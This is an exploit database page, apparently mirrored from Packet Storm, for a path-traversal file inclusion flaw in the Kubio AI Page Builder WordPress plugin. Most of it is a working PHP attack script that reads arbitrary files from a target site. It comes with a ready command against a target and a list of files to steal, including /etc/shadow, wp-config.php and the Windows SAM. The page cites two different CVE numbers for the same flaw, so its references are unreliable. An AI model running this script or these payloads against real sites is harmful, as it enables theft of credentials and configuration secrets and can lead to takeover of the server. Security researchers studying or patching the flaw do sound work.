Lucene search
K

📄 Kubio AI Page Builder 2.5.1 PHP LFI Extractor Scanner

🗓️ 18 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 144 Views

LFI in Kubio AI Page Builder allows unauthenticated file access via path traversal, risking disclosure and possible remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-30208
26 Mar 202515:42
githubexploit
GithubExploit
Exploit for CVE-2025-30208
26 Mar 202519:06
githubexploit
GithubExploit
Exploit for CVE-2025-30208
26 Mar 202517:14
githubexploit
GithubExploit
Exploit for Improper Access Control in Vitejs Vite
4 Mar 202607:29
githubexploit
GithubExploit
Exploit for CVE-2025-30208
3 Apr 202511:46
githubexploit
GithubExploit
Exploit for CVE-2025-30208
27 Mar 202512:36
githubexploit
GithubExploit
Exploit for CVE-2025-30208
27 Mar 202512:55
githubexploit
GithubExploit
Exploit for CVE-2025-30208
24 Apr 202510:53
githubexploit
GithubExploit
Exploit for CVE-2025-2294
13 May 202520:16
githubexploit
GithubExploit
Exploit for CVE-2025-30208
25 Jun 202519:04
githubexploit
Rows per page
=============================================================================================================================================
    | # Title     : Kubio AI Page Builder 2.5.1 PHP LFI Extractor Scanner                                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://downloads.wordpress.org/plugin/kubio.2.5.1.zip                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/190227/ & 	CVE-2025-30208
    
    [+] Summary 
    
    A Local File Inclusion vulnerability exists in the function
    `kubio_hybrid_theme_load_template` of the Kubio AI Page Builder plugin
    for WordPress (versions ≤ 2.5.1). An unauthenticated attacker may include
    arbitrary files via path traversal. This may lead to sensitive file
    disclosure and can result in remote code execution when chained with
    uploads.
    
    [+] Impact:
    -------
    - Read arbitrary files
    - Information disclosure
    - Possible RCE chained with uploads
    
    [+] Run 
    
        using: php poc.php https://target.com ../../../../../../etc/passwd
    
    [+] Payload Variants
    
    Linux Sensitive Files
    
    /etc/passwd
    /etc/shadow
    /var/www/html/wp-config.php
    /proc/self/environ
    
    Windows Sensitive Files
    
    C:\Windows\win.ini
    C:\Windows\repair\SAM
    C:\xampp\apache\logs\error.log
    
    WP Sensitive Files
    
    ../../../../../../wp-config.php
    ../../../../../../wp-admin/admin.php
    
    [+] poc
    
    
    <?php
    /*
     * Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)
     * PHP Scanner
     * By: Indoushka
     */
    
    error_reporting(E_ALL);
    set_time_limit(0);
    
    function http_get($url) {
        $ctx = stream_context_create([
            'http' => [
                'timeout' => 10,
                'method'  => "GET",
                'header'  => "User-Agent: Indoushka-Scanner/1.0\r\n"
            ]
        ]);
        return @file_get_contents($url, false, $ctx);
    }
    
    function parse_version($version) {
        $p = explode('.', $version);
        while (count($p) < 3) $p[] = 0;
        return array_map('intval', array_slice($p, 0, 3));
    }
    
    function check_plugin_version($target) {
        $readme = rtrim($target, "/") . "/wp-content/plugins/kubio/readme.txt";
        $res = http_get($readme);
    
        if (!$res) return [false, "Cannot fetch readme.txt"];
    
        if (preg_match('/Stable tag:\s*([\d\.]+)/i', $res, $m)) {
            $ver = trim($m[1]);
            $parsed = parse_version($ver);
            return [$parsed <= [2,5,1], $ver];
        }
        return [false, "Version not found"];
    }
    
    function exploit($url, $file) {
        $exploit = rtrim($url, "/") .
            "/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=" .
            urlencode($file);
    
        return http_get($exploit);
    }
    
    function banner() {
        echo "\n=== Kubio AI Page Builder LFI PHP Scanner ===\n";
        echo "     CVE-2025-2294\n";
        echo "     By Indoushka\n\n";
    }
    
    banner();
    
    if ($argc < 2) {
        echo "Usage:\n";
        echo "php kubio_lfi.php <url> [file]\n\n";
        echo "Example:\nphp kubio_lfi.php https://victim.com ../../../../../../etc/passwd\n";
        exit;
    }
    
    $target = $argv[1];
    $file   = $argv[2] ?? "../../../../../../etc/passwd";
    
    list($vuln, $ver) = check_plugin_version($target);
    
    if ($vuln) {
        echo "[+] Vulnerable version detected: $ver\n";
        echo "[+] Exploiting...\n";
    
        $content = exploit($target, $file);
        if ($content) {
            echo "\n===== FILE CONTENT START =====\n";
            echo $content;
            echo "\n===== FILE CONTENT END =====\n";
        } else {
            echo "[-] Exploit failed or no output.\n";
        }
    } else {
        echo "[-] Not vulnerable: $ver\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.5 - 9.8
EPSS0.89847
SSVC
144